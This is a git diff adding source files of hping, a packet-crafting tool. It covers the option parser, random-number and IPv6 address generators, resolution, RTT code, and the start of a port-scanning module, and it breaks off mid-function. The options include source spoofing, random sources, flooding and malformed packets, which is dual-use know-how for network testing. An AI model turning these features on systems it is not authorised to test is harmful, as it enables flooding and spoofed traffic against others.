"ymas", OPT_YMAS, AGO_NOARG|AGO_EXCEPT0 }, + { 'f', "frag", OPT_FRAG, AGO_NOARG|AGO_EXCEPT0 }, + { 'x', "morefrag", OPT_MOREFRAG, AGO_NOARG|AGO_EXCEPT0 }, + { 'y', "dontfrag", OPT_DONTFRAG, AGO_NOARG }, + { 'g', "fragoff", OPT_FRAGOFF, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'O', "tcpoff", OPT_TCPOFF, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'r', "rel", OPT_REL, AGO_NOARG }, + { 'd', "data", OPT_DATA, AGO_NEEDARG|AGO_EXCEPT0 }, + { '0', "rawip", OPT_RAWIP, AGO_NOARG|AGO_EXCEPT0 }, + { '1', "icmp", OPT_ICMP, AGO_NOARG }, + { '2', "udp", OPT_UDP, AGO_NOARG }, + { '8', "scan", OPT_SCAN, AGO_NEEDARG }, + { 'z', "bind", OPT_BIND, AGO_NOARG }, + { 'Z', "unbind", OPT_UNBIND, AGO_NOARG }, + { 'D', "debug", OPT_DEBUG, AGO_NOARG }, + { 'V', "verbose", OPT_VERBOSE, AGO_NOARG }, + { 'W', "winid", OPT_WINID, AGO_NOARG }, + { 'k', "keep", OPT_KEEP, AGO_NOARG }, + { 'E', "file", OPT_FILE, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'j', "dump", OPT_DUMP, AGO_NOARG|AGO_EXCEPT0 }, + { 'J', "print", OPT_PRINT, AGO_NOARG|AGO_EXCEPT0 }, + { 'e', "sign", OPT_SIGN, AGO_NEEDARG|AGO_EXCEPT0 }, + { '9', "listen", OPT_LISTEN, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'B', "safe", OPT_SAFE, AGO_NOARG|AGO_EXCEPT0 }, + { 'T', "traceroute", OPT_TRACEROUTE, AGO_NOARG }, + { 'o', "tos", OPT_TOS, AGO_NEEDARG }, + { 'm', "mtu", OPT_MTU, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'Q', "seqnum", OPT_SEQNUM, AGO_NOARG|AGO_EXCEPT0 }, + { 'b', "badcksum", OPT_BADCKSUM, AGO_NOARG|AGO_EXCEPT0 }, + { 'M', "setseq", OPT_SETSEQ, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'L', "setack", OPT_SETACK, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'C', "icmptype", OPT_ICMPTYPE, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'K', "icmpcode", OPT_ICMPCODE, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'u', "end", OPT_END, AGO_NOARG|AGO_EXCEPT0 }, + { 'G', "rroute", OPT_RROUTE, AGO_NOARG }, + { 'H', "ipproto", OPT_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-help", OPT_ICMP_HELP, AGO_NOARG }, + { '\0', "icmp-ipver", OPT_ICMP_IPVER, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-iphlen", OPT_ICMP_IPHLEN, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-iplen", OPT_ICMP_IPLEN, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-ipid", OPT_ICMP_IPID, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-ipproto", OPT_ICMP_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-cksum", OPT_ICMP_CKSUM, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-ts", OPT_ICMP_TS, AGO_NOARG }, + { '\0', "icmp-addr", OPT_ICMP_ADDR, AGO_NOARG }, + { '\0', "tcpexitcode", OPT_TCPEXITCODE, AGO_NOARG }, + { '\0', "fast", OPT_FAST, AGO_NOARG|AGO_EXCEPT0 }, + { '\0', "faster", OPT_FASTER, AGO_NOARG|AGO_EXCEPT0 }, + { '\0', "tr-keep-ttl", OPT_TR_KEEP_TTL, AGO_NOARG }, + { '\0', "tcp-timestamp",OPT_TCP_TIMESTAMP, AGO_NOARG }, + { '\0', "tr-stop", OPT_TR_STOP, AGO_NOARG }, + { '\0', "tr-no-rtt", OPT_TR_NO_RTT, AGO_NOARG }, + { '\0', "rand-dest", OPT_RAND_DEST, AGO_NOARG }, + { '\0', "rand-source", OPT_RAND_SOURCE, AGO_NOARG }, + { '\0', "lsrr", OPT_LSRR, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "ssrr", OPT_SSRR, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "route-help", OPT_ROUTE_HELP, AGO_NOARG }, + { '\0', "apd-send", OPT_APD_SEND, AGO_NEEDARG }, + { '\0', "icmp-ipsrc", OPT_ICMP_IPSRC, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-ipdst", OPT_ICMP_IPDST, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-gw", OPT_ICMP_GW, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-srcport", OPT_ICMP_SRCPORT, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-dstport", OPT_ICMP_DSTPORT, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "force-icmp", OPT_FORCE_ICMP, AGO_NOARG }, + { '\0', "bps", OPT_BPS, AGO_NEEDARG }, + { '\0', "pps", OPT_PPS, AGO_NEEDARG }, + { '6', "ipv6", OPT_IPV6, AGO_NOARG }, + { '\0', "lhs", OPT_LHS, AGO_NEEDARG }, + { '\0', "flood", OPT_FLOOD, AGO_NOARG }, + AGO_LIST_TERM +}; + +/* The following var is turned to 1 if the -i option is used. + * This allows to assign a different delay default value if + * the scanning mode is selected. */ +static int delay_changed = 0; + +static int suidtester(void) +{ + return (getuid() != geteuid()); +} + +void fail_parse_route(void) +{ + fprintf(stderr, "RECTUM\n"); + exit(1); +} + +void parse_route(unsigned char *route, unsigned int *route_len, char *str) +{ + struct in_addr ip; + unsigned int i = 0; + unsigned int j; + unsigned int n = 0; + unsigned int route_ptr = 256; + char c; + + route += 3; + while (str[i] != '\0') + { + for (j = i; isalnum(str[j]) || str[j] == '.'; j++); + switch(c = str[j]) + { + case '\0': + case '/': + if (n >= 62) + { + fprintf(stderr, "too long route\n"); + fail_parse_route(); + } + str[j] = '\0'; + if (inet_aton(str+i, &ip)) + { + memcpy(route+4*n, &ip.s_addr, 4); + n++; + if (c == '/') + str[j++] = '/'; + break; + } + fprintf(stderr, "invalid IP adress in route\n"); + fail_parse_route(); + case ':': + if ((!i) && j && j < 4) + { + sscanf(str, "%u:%n", &route_ptr, &i); + if (i == ++j) + { + if (route_ptr < 256) + break; + } + } + default: + fail_parse_route(); + } + i = j; + } + if (route_ptr == 256) + route[-1] = (unsigned char) ( n ? 8 : 4 ); + else + route[-1] = (unsigned char) route_ptr; + *route_len = 4*n + 3; + route[-2] = (unsigned char) *route_len; +} + +int parse_options(int argc, char **argv) +{ + int src_ttl_set = 0; + int targethost_set = 0; + int o; + char *mult; + int typeset = 0; + + if (argc < 2) + return -1; + + ago_set_exception(0, suidtester, "Option disabled when setuid"); + + while ((o = antigetopt(argc, argv, hping_optlist)) != AGO_EOF) { + switch(o) { + case AGO_UNKNOWN: + case AGO_REQARG: + case AGO_AMBIG: + ago_gnu_error("hping", o); + fprintf(stderr, "Try hping --help\n"); + exit(1); + case AGO_ALONE: + if (targethost_set == 1) { + fprintf(stderr, "hping: you must specify only " + "one target host at a time\n"); + exit(1); + } else { + strlcpy(targetname, ago_optarg, 1024); + targethost_set = 1; + } + break; + case OPT_COUNT: + count = strtol(ago_optarg, NULL, 0); + break; + case OPT_INTERVAL: + delay_changed = 1; + if (*ago_optarg == 'u') { + opt_waitinusec = TRUE; + usec_delay.it_value.tv_sec = + usec_delay.it_interval.tv_sec = 0; + usec_delay.it_value.tv_usec = + usec_delay.it_interval.tv_usec = + atol(ago_optarg+1); + } + else + sending_wait = strtol(ago_optarg, NULL, 0); + break; + case OPT_NUMERIC: + opt_numeric = TRUE; + break; + case OPT_QUIET: + opt_quiet = TRUE; + break; + case OPT_INTERFACE: + strlcpy (ifname, ago_optarg, 1024); + break; + case OPT_HELP: + show_usage(); + break; + case OPT_VERSION: + show_version(); + break; + case OPT_DESTPORT: + if (*ago_optarg == '+') + { + opt_incdport = TRUE; + ago_optarg++; + } + if (*ago_optarg == '+') + { + opt_force_incdport = TRUE; + ago_optarg++; + } + base_dst_port = dst_port = strtol(ago_optarg, NULL, 0); + break; + case OPT_BASEPORT: + initsport = strtol(ago_optarg, NULL, 0); + break; + case OPT_TTL: + src_ttl = strtol(ago_optarg, NULL, 0); + src_ttl_set = 1; + break; + case OPT_ID: + src_id = strtol(ago_optarg, NULL, 0); + break; + case OPT_WIN: + src_winsize = strtol(ago_optarg, NULL, 0); + break; + case OPT_SPOOF: + strlcpy (spoofaddr, ago_optarg, 1024); + break; + case OPT_FIN: + tcp_th_flags |= TH_FIN; + break; + case OPT_SYN: + tcp_th_flags |= TH_SYN; + break; + case OPT_RST: + tcp_th_flags |= TH_RST; + break; + case OPT_PUSH: + tcp_th_flags |= TH_PUSH; + break; + case OPT_ACK: + tcp_th_flags |= TH_ACK; + break; + case OPT_URG: + tcp_th_flags |= TH_URG; + break; + case OPT_XMAS: + tcp_th_flags |= TH_X; + break; + case OPT_YMAS: + tcp_th_flags |= TH_Y; + break; + case OPT_FRAG: + opt_fragment = TRUE; + break; + case OPT_MOREFRAG: + opt_mf = TRUE; + break; + case OPT_DONTFRAG: + opt_df = TRUE; + break; + case OPT_FRAGOFF: + ip_frag_offset = strtol(ago_optarg, NULL, 0); + break; + case OPT_TCPOFF: + src_thoff = strtol(ago_optarg, NULL, 0); + break; + case OPT_REL: + opt_relid = TRUE; + break; + case OPT_DATA: + data_size = strtol(ago_optarg, NULL, 0); + break; + case OPT_RAWIP: + opt_rawipmode = TRUE; + break; + case OPT_ICMP: + opt_icmpmode = TRUE; + break; + case OPT_ICMP_TS: + opt_icmpmode = TRUE; + opt_icmptype = 13; + break; + case OPT_ICMP_ADDR: + opt_icmpmode = TRUE; + opt_icmptype = 17; + break; + case OPT_UDP: + opt_udpmode = TRUE; + break; + case OPT_SCAN: + opt_scanmode = TRUE; + opt_scanports = strdup(ago_optarg); + break; + case OPT_LISTEN: + opt_listenmode = TRUE; + strlcpy(sign, ago_optarg, 1024); + signlen = strlen(ago_optarg); + break; + case OPT_IPPROTO: + raw_ip_protocol = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMPTYPE: + opt_icmpmode= TRUE; + opt_icmptype = strtol(ago_optarg, NULL, 0); + typeset = 1; + break; + case OPT_ICMPCODE: + opt_icmpmode= TRUE; + opt_icmpcode = strtol(ago_optarg, NULL, 0); + break; + case OPT_BIND: + ctrlzbind = BIND_TTL; + break; + case OPT_UNBIND: + ctrlzbind = BIND_NONE; + break; + case OPT_DEBUG: + opt_debug = TRUE; + break; + case OPT_VERBOSE: + opt_verbose = TRUE; + break; + case OPT_WINID: + opt_winid_order = TRUE; + break; + case OPT_KEEP: + opt_keepstill = TRUE; + break; + case OPT_FILE: + opt_datafromfile = TRUE; + strlcpy(datafilename, ago_optarg, 1024); + break; + case OPT_DUMP: + opt_hexdump = TRUE; + break; + case OPT_PRINT: + opt_contdump = TRUE; + break; + case OPT_SIGN: + opt_sign = TRUE; + strlcpy(sign, ago_optarg, 1024); + signlen = strlen(ago_optarg); + break; + case OPT_SAFE: + opt_safe = TRUE; + break; + case OPT_END: + opt_end = TRUE; + break; + case OPT_TRACEROUTE: + opt_traceroute = TRUE; + break; + case OPT_TOS: + if (!strcmp(ago_optarg, "help")) + tos_help(); + else + { + static unsigned int tos_tmp = 0; + + sscanf(ago_optarg, "%2x", &tos_tmp); + ip_tos |= tos_tmp; /* OR tos */ + } + break; + case OPT_MTU: + virtual_mtu = strtol(ago_optarg, NULL, 0); + opt_fragment = TRUE; + if(virtual_mtu > 65535) { + virtual_mtu = 65535; + printf("Specified MTU too high, " + "fixed to 65535.\n"); + } + break; + case OPT_SEQNUM: + opt_seqnum = TRUE; + break; + case OPT_BADCKSUM: + opt_badcksum = TRUE; + break; + case OPT_SETSEQ: + set_seqnum = TRUE; + tcp_seqnum = strtoul(ago_optarg, NULL, 0); + break; + case OPT_SETACK: + set_ack = TRUE; + tcp_ack = strtoul(ago_optarg, NULL, 0); + break; + case OPT_RROUTE: + opt_rroute = TRUE; + break; + case OPT_ICMP_HELP: + icmp_help(); /* ICMP options help */ + break; + case OPT_ICMP_IPVER: + icmp_ip_version = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPHLEN: + icmp_ip_ihl = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPLEN: + icmp_ip_tot_len = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPID: + icmp_ip_id = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPPROTO: + icmp_ip_protocol = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPSRC: + strlcpy (icmp_ip_srcip, ago_optarg, 1024); + break; + case OPT_ICMP_IPDST: + strlcpy (icmp_ip_dstip, ago_optarg, 1024); + break; + case OPT_ICMP_GW: + strlcpy (icmp_gwip, ago_optarg, 1024); + break; + case OPT_ICMP_SRCPORT: + icmp_ip_srcport = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_DSTPORT: + icmp_ip_dstport = strtol(ago_optarg, NULL, 0); + break; + case OPT_FORCE_ICMP: + opt_force_icmp = TRUE; + break; + case OPT_ICMP_CKSUM: + icmp_cksum = strtol(ago_optarg, NULL, 0); + break; + case OPT_TCPEXITCODE: + opt_tcpexitcode = TRUE; + break; + case OPT_FAST: + delay_changed = 1; + opt_waitinusec = TRUE; + usec_delay.it_value.tv_sec = + usec_delay.it_interval.tv_sec = 0; + usec_delay.it_value.tv_usec = + usec_delay.it_interval.tv_usec = 100000; + break; + case OPT_FASTER: + delay_changed = 1; + opt_waitinusec = TRUE; + usec_delay.it_value.tv_sec = + usec_delay.it_interval.tv_sec = 0; + usec_delay.it_value.tv_usec = + usec_delay.it_interval.tv_usec = 1; + case OPT_TR_KEEP_TTL: + opt_tr_keep_ttl = TRUE; + break; + case OPT_TCP_TIMESTAMP: + opt_tcp_timestamp = TRUE; + break; + case OPT_TR_STOP: + opt_tr_stop = TRUE; + break; + case OPT_TR_NO_RTT: + opt_tr_no_rtt = TRUE; + break; + case OPT_RAND_DEST: + opt_rand_dest = TRUE; + break; + case OPT_RAND_SOURCE: + opt_rand_source = TRUE; + break; + case OPT_LSRR: + opt_lsrr = TRUE; + parse_route(lsr, &lsr_length, ago_optarg); + if (lsr[0]) + printf("Warning: erasing previously given " + "loose source route"); + lsr[0] = 131; + break; + case OPT_SSRR: + opt_ssrr = TRUE; + parse_route(ssr, &ssr_length, ago_optarg); + if (ssr[0]) + printf("Warning: erasing previously given " + "strong source route"); + ssr[0] = 137; + break; + case OPT_ROUTE_HELP: + route_help(); + break; + case OPT_APD_SEND: + hping_ars_send(ago_optarg); + break; + case OPT_FLOOD: + opt_flood = TRUE; + break; + case OPT_BPS: + opt_bps = strtol(ago_optarg, &mult, 0); + switch(*mult) + { + case 'k': + case 'K': + opt_bps *= 1000; + break; + case 'm': + case 'M': + opt_bps *= 1000000; + break; + case 'g': + case 'G': + opt_bps *= 1000000000; + break; + case 0: + break; + default: + printf("invalid character in --bps argument: `%c'\n", *mult); + exit(1); + } + opt_bps /= 8; + break; + case OPT_PPS: + opt_pps = strtol(ago_optarg, &mult, 0); + switch(*mult) + { + case 'k': + case 'K': + opt_pps *= 1000; + break; + case 'm': + case 'M': + opt_pps *= 1000000; + break; + case 'g': + case 'G': + opt_bps *= 1000000000; + break; + case 0: + break; + default: + printf("invalid character in --pps argument: `%c'\n", *mult); + exit(1); + } + break; + case OPT_IPV6: + opt_ipv6 = TRUE; + opt_af = AF_INET6; + break; + case OPT_LHS: + linkhdr_size = atoi(ago_optarg); + break; + } + } + + if(typeset == 0 && opt_icmptype == DEFAULT_ICMP_TYPE && opt_ipv6 == 1) + opt_icmptype = ICMP6_ECHO; + + /* missing target host? */ + if (targethost_set == 0 && opt_listenmode && opt_safe) + { + printf( + "you must specify a target host if you require safe protocol\n" + "because hping needs a target for HCMP packets\n"); + exit(1); + } + + if (targethost_set == 0 && !opt_listenmode) return -1; + + if (opt_numeric == TRUE) opt_gethost = FALSE; + + /* some error condition */ + if (data_size+IPHDR_SIZE+TCPHDR_SIZE > 65535) { + printf("Option error: sorry, data size must be <= %lu\n", + (unsigned long)(65535-IPHDR_SIZE+TCPHDR_SIZE)); + exit(1); + } + else if (count <= 0 && count != -1) { + printf("Option error: count must > 0\n"); + exit(1); + } + else if (sending_wait < 0) { + printf("Option error: bad timing interval\n"); + exit(1); + } + else if (opt_waitinusec == TRUE && usec_delay.it_value.tv_usec < 0) + { + printf("Option error: bad timing interval\n"); + exit(1); + } + else if (opt_datafromfile == TRUE && data_size == 0) + { + printf("Option error: -E option useless without -d\n"); + exit(1); + } + else if (opt_sign && data_size && signlen > data_size) + { + printf( + "Option error: signature (%d bytes) is larger than data size\n" + "check -d option, don't specify -d to let hping compute it\n", signlen); + exit(1); + } + else if ((opt_sign || opt_listenmode) && signlen > 1024) + { + printf("Option error: signature too big\n"); + exit(1); + } + else if (opt_safe == TRUE && src_id != -1) + { + printf("Option error: sorry, you can't set id and " + "use safe protocol at some time\n"); + exit(1); + } + else if (opt_safe == TRUE && opt_datafromfile == FALSE && + opt_listenmode == FALSE) + { + printf("Option error: sorry, safe protocol is useless " + "without 'data from file' option\n"); + exit(1); + } + else if (opt_safe == TRUE && opt_sign == FALSE && + opt_listenmode == FALSE) + { + printf("Option error: sorry, safe protocol require you " + "sign your packets, see --sign | -e option\n"); + exit(1); + } else if (opt_rand_dest == TRUE && ifname[0] == '\0') { + printf("Option error: you need to specify an interface " + "when the --rand-dest option is enabled\n"); + exit(1); + } + + /* dependences */ + if (opt_safe == TRUE) + src_id = 1; + + if (opt_traceroute == TRUE && ctrlzbind == BIND_DPORT) + ctrlzbind = BIND_TTL; + + if (opt_traceroute == TRUE && src_ttl_set == 0) + src_ttl = DEFAULT_TRACEROUTE_TTL; + + /* set the data size to the signature len if the no data size + * was specified */ + if (opt_sign && !data_size) + data_size = signlen; + + /* If scan mode is on, and the -i option was not used, + * set the default delay to zero, that's send packets + * as fast as possible. */ + if (opt_scanmode && !delay_changed) { + opt_waitinusec = TRUE; + usec_delay.it_value.tv_sec = + usec_delay.it_interval.tv_sec = 0; + usec_delay.it_value.tv_usec = + usec_delay.it_interval.tv_usec = 0; + } + + return 1; +} diff --git a/random.c b/random.c new file mode 100644 index 0000000..608998d --- /dev/null +++ b/random.c @@ -0,0 +1,81 @@ +/* rc4-based pseudo-random number generator for hping. + * Copyright (C) 2003 Salvatore Sanfilippo + * This software is released under the GPL license + * All rights reserved */ + +#include +#include +#include +#include +#include +#include + +u_int32_t hp_rand(void); + +/* The rc4 sbox */ +static unsigned char rc4_sbox[256]; +/* This flags is used to initialize the sbox the first time, + * without an explicit intialization step outside this file. */ +static int rc4_seedflag = 0; + +/* Initialize the sbox with pseudo random data */ +static void hp_rand_init(void) +{ + int i, fd; + + /* Strong sbox initialization */ + fd = open("/dev/urandom", O_RDONLY); + if (fd != -1) { + read(fd, rc4_sbox, 256); + close(fd); + } + /* Weaker sbox initialization */ + for (i = 0; i < 256; i++) { + struct timeval tv; + gettimeofday(&tv, NULL); + if (i&1) + rc4_sbox[i] ^= (tv.tv_usec >> (i&0xF)) & 0xFF; + else + rc4_sbox[i] ^= (tv.tv_sec >> (i&0xF)) & 0xFF; + } + rc4_seedflag = 1; +} + +#if 0 +/* Re-seed the generator with user-provided bytes. Not used for now. */ +static void hp_rand_seed(void *seed, size_t len) +{ + int i; + + if (len > 256) len = 256; + memcpy(rc4_sbox, seed, len); + /* discard the first 256 bytes of output after the reseed */ + for (i = 0; i < 32; i++) + (void) hp_rand(); +} +#endif + +/* Generates a 32bit random number using an RC4-like algorithm */ +u_int32_t hp_rand(void) +{ + u_int32_t r = 0; + unsigned char *rc = (unsigned char*) &r; + static unsigned int i = 0, j = 0; + unsigned int si, sj, x; + + /* initialization, only needed the first time */ + if (!rc4_seedflag) + hp_rand_init(); + /* generates 4 bytes of pseudo-random data using RC4 */ + for (x = 0; x < 4; x++) { + i = (i+1) & 0xff; + si = rc4_sbox[i]; + j = (j + si) & 0xff; + sj = rc4_sbox[j]; + rc4_sbox[i] = sj; + rc4_sbox[j] = si; + *rc++ = rc4_sbox[(si+sj)&0xff]; + } + return r; +} + diff --git a/random6.c b/random6.c new file mode 100644 index 0000000..c81f667 --- /dev/null +++ b/random6.c @@ -0,0 +1,143 @@ +// vim:sw=4:ts=4:et: + +/* + * Copyright (C) 2021 Andrei Belov (@defanator on github) + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +/* 16 octets in binary form + dots between octets + trailing zero */ +#define INET6_ADDRBINSTRLEN ((8 * 16) + (1 * 15) + 1UL) + +#ifndef INET6_ADDRSTRLEN +#define INET6_ADDRSTRLEN sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255") +#endif + +char * sprintb(char *dst, void const * const ptr, size_t const size) +{ + int i, j; + char *dp = dst; + unsigned char byte; + unsigned char *b = (unsigned char*) ptr; + + for (i = size - 1; i >= 0; i--) { + for (j = 7; j >= 0; j--) { + byte = (b[i] >> j) & 1; + *dp++ = byte ? '1' : '0'; + } + } + + *dp = 0x0; + return dst; +} + +char * sprintb_addr6(char *dst, struct in6_addr *in6) { + char *dp = dst; + u_char *p = in6->s6_addr; + int i; + + for (i = 0; i < 16; i++) { + sprintb(dp, &p[i], sizeof(u_char)); + dp += 8; + if (i < 15) *dp++ = '.'; + } + + return dst; +} + +struct in6_addr ipv6_rand(char *net,uint8_t prefixlen) +{ + int i, j, s; + uint8_t bits, shift; + u_char *addr, *mask; + struct in6_addr addr6, mask6,rand6; + //char straddr6[INET6_ADDRSTRLEN]; + //char binaddr6[INET6_ADDRBINSTRLEN]; + + char *ip6net = net; + + if (inet_pton(AF_INET6, ip6net, &addr6) < 1) { + printf("incorrect IPv6 address/net: \"%s\"\n", ip6net); + exit(1); + } + + addr = addr6.s6_addr; + mask = mask6.s6_addr; + shift = prefixlen; + bits = 128 - shift; + + for (i = 0; i < 16; i++) { + s = (shift > 8) ? 8 : shift; + shift -= s; + + mask[i] = (u_char) (0xffu << (8 - s)); + + if (addr[i] != (addr[i] & mask[i])) { + addr[i] &= mask[i]; + } + } + + + //inet_ntop(AF_INET6, &addr6, straddr6, INET6_ADDRSTRLEN); + //printf("network: %s/%d\n", straddr6, prefixlen); + + //inet_ntop(AF_INET6, &mask6, straddr6, INET6_ADDRSTRLEN); + //printf("netmask: %s (free bits=%d)\n", straddr6, bits); + + //printf("%s\n", sprintb_addr6(binaddr6, &addr6)); + //printf("%s\n", sprintb_addr6(binaddr6, &mask6)); + //printf("----\n"); + + srand(((unsigned) getpid() << 16) ^ time(NULL)); + + uint32_t rv = rand(); + int k = 0; + + shift = bits; + rand6 = addr6; + addr = rand6.s6_addr; + + for (j = 15; j >= 0; j--) { + s = (shift > 8) ? 8 : shift; + shift -= s; + + addr[j] = addr[j] ^ ((addr[j] ^ rv) & ~mask[j]); + + if (shift == 0) break; + + rv >>= 8; + + /* + * Note that the MSB of the first octet in random value rv + * will always be 0 as RAND_MAX=0x7FFFFFFF, i.e. if we refresh + * rv after using all the 4 octets from uint32_t, the leading + * bit in octets 4, 8, 12, 16 in generated IPv6 address + * will _always_ be 0. + * + * While it seems legit for e.g. ::ffff:0:0/96 (IPv4-mapped + * addresses), there may be a better way of handling this + * (e.g. refresh rv after using 3 of 4 octets or reverse + * bits in first octet before applying). + * + */ + //if (++k > 2) { + if (++k > 3) { + rv = rand(); + k = 0; + } + } + //inet_ntop(AF_INET6, &rand6, straddr6, INET6_ADDRSTRLEN); + //printf("%s [%s]\n", sprintb_addr6(binaddr6, &rand6), straddr6); + + return rand6; +} \ No newline at end of file diff --git a/release.h b/release.h new file mode 100644 index 0000000..a7e1586 --- /dev/null +++ b/release.h @@ -0,0 +1,18 @@ +/* + * $smu-mark$ + * $name: release.h$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 16 11:55:49 MET 1999$ + * $rev: 17$ + */ + +#ifndef _RELEASE_H +#define _RELEASE_H + +#define RELEASE_VERSION "3.0.0-koszik" +#define RELEASE_DATE "Sun Apr 16 07:19:17 CEST 2006" +#define CONTACTS "" + +#endif /* _RELEASE_H */ diff --git a/relid.c b/relid.c new file mode 100644 index 0000000..5c6e1f7 --- /dev/null +++ b/relid.c @@ -0,0 +1,46 @@ +/* + * $smu-mark$ + * $name: relid.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 3$ + */ + +/* FIXME: maybe it's better to avoid division per seq_diff and + at least add an option to switch on/off this feature */ + +#include "hping2.h" +#include "globals.h" + +int relativize_id(int seqnum, int *ip_id) +{ + int seq_diff, backup_id; + static int last_seq = 0, last_id = -1; + + backup_id = *ip_id; + + if (last_id == -1) { + last_id = *ip_id; + last_seq = seqnum; + } + else + { + if ( (seq_diff=(seqnum-last_seq)) > 0) + { + if (last_id > *ip_id) /* rew */ + *ip_id = ((65535-last_id) + + *ip_id)/seq_diff; + else + *ip_id = (*ip_id-last_id) + /seq_diff; + last_id = backup_id; + last_seq = seqnum; + return TRUE; + } else { + out_of_sequence_pkt++; + } + } + return FALSE; +} diff --git a/resolve.c b/resolve.c new file mode 100644 index 0000000..11282fb --- /dev/null +++ b/resolve.c @@ -0,0 +1,63 @@ +/* + * $smu-mark$ + * $name: resolve.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +void resolve (struct sockaddr * addr, char *hostname) +{ + struct sockaddr_in *address; + struct hostent *host; + + address = (struct sockaddr_in *)addr; + + memset(address, 0, sizeof(struct sockaddr_in)); + address->sin_family = AF_INET; + address->sin_addr.s_addr = inet_addr(hostname); + + if ( (int)address->sin_addr.s_addr == -1) { + host = gethostbyname(hostname); + if (host) { + memcpy(&address->sin_addr, host->h_addr, + host->h_length); + } else { + perror("[resolve] Could not resolve address"); + exit(1); + } + } +} + +void resolve6 (struct sockaddr * addr, char *hostname) +{ + struct sockaddr_in6 *address; + struct hostent *host; + + address = (struct sockaddr_in6 *)addr; + + memset(address, 0, sizeof(struct sockaddr_in6)); + address->sin6_family = AF_INET6; + if(inet_pton(AF_INET6, hostname, &address->sin6_addr) < 1) { + host = gethostbyname2(hostname, AF_INET6); + if (host) { + memcpy(&address->sin6_addr, host->h_addr, + host->h_length); + } else { + herror("[resolve] Could not resolve address"); + exit(1); + } + } +} diff --git a/rtt.c b/rtt.c new file mode 100644 index 0000000..8712e01 --- /dev/null +++ b/rtt.c @@ -0,0 +1,99 @@ +/* + * $smu-mark$ + * $name: rtt.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 3$ + */ + +#include +#include + +#include "hping2.h" +#include "globals.h" + +void minavgmax(float ms_delay) +{ + static int avg_counter = 0; + + if (rtt_min == 0 || ms_delay < rtt_min) + rtt_min = ms_delay; + if (rtt_max == 0 || ms_delay > rtt_max) + rtt_max = ms_delay; + avg_counter++; + rtt_avg = (rtt_avg*(avg_counter-1)/avg_counter)+(ms_delay/avg_counter); +} + +int rtt(int *seqp, int recvport, float *ms_delay) +{ + long sec_delay = 0, usec_delay = 0; + int i, tablepos = -1, status; + + if (*seqp != 0) { + for (i = 0; i < TABLESIZE; i++) + if (delaytable[i].seq == *seqp) { + tablepos = i; + break; + } + } else { + for (i=0; i +#include +#include +#include +#if 0 +#include +#endif +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include + +#if 0 +#if defined(__GNU_LIBRARY__) && !defined(_SEM_SEMUN_UNDEFINED) +/* union semun is defined by including */ +#else +/* according to X/OPEN we have to define it ourselves */ +union semun { + int val; /* value for SETVAL */ + struct semid_ds *buf; /* buffer for IPC_STAT, IPC_SET */ + unsigned short int *array; /* array for GETALL, SETALL */ + struct seminfo *__buf; /* buffer for IPC_INFO */ +}; +#endif +#endif + +#include "hping2.h" +#include "globals.h" +#include "hstring.h" + +#define SEM_MODE 0777 +#define MAXPORT 65535 + +int opt_scan_probes = 8; +float avrgms = 0; +int avrgcount = 0; + +/* ---------------------------- data structures ----------------------------- */ + +/* Note that while we don't use any kind of locking, to access + * this fields is safe. the 'retry' field is only accessed by the + * sendinf half, while the 'active' field is set by the receiver + * and tested by the sender so atomicity isn't an issue. */ +struct portinfo { + int active; + int retry; + time_t sentms; /* Upss... added this that requires locking, FIXME */ +}; + +/* ------------------------- shared memory related -------------------------- */ + +static int id; /* shared memory id */ + +static int shm_creat(int size) +{ + id = shmget(IPC_PRIVATE, size, IPC_CREAT | 0777); + if (id == -1) + { + perror("[shm_creat] shmget"); + return -1; /* on error -1 */ + } + return id; /* on success > 0 */ +} + +static void *shm_attach(void) +{ + void *shared; + + shared = shmat(id, 0, 0); + if (shared == (void*) -1) + { + 